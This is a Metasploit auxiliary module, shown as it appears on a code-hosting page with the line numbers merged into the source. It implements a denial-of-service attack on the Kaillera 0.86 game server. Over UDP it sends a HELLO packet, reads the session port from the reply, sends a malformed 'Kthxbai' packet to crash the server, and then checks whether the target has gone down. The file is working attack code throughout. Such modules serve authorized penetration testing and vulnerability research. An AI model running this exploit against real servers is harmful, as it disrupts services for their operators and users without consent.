Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/windows/games/kaillera.rb
Views: 11789
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Udp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(update_info(info,11'Name' => 'Kaillera 0.86 Server Denial of Service' ,12'Description' => %q{13The Kaillera 0.86 server can be shut down by sending any malformed packet14after the initial "hello" packet.15},16'Author' => ["Sil3nt_Dre4m"],17'License' => MSF_LICENSE,18'DisclosureDate' => '2011-07-02'))1920register_options([21Opt::RPORT(27888)22])23end2425def run26# Send HELLO to target27connect_udp28print_status("Sending Crash request...")29udp_sock.put("HELLO0.83\0")30res = udp_sock.recvfrom(15)31disconnect_udp3233if res[0] =~ /HELLOD00D([0-9]{1,5})/34port = $135else print_error("Connection failed")36return37end3839# Send DOS packet40connect_udp(global = true,'RPORT' => port)41print_status("Sending DoS packet to #{rhost}:#{port}...")42udp_sock.put("Kthxbai")43disconnect_udp4445# Check is target is down46connect_udp47print_status("Checking target...")48udp_sock.put("HELLO0.83\0")49res = udp_sock.recvfrom(15)50disconnect_udp5152if res[0] =~ /HELLO/53print_error("DoS attempt failed. It appears target is still up.")54else55print_good("Target is down")56end57end58end596061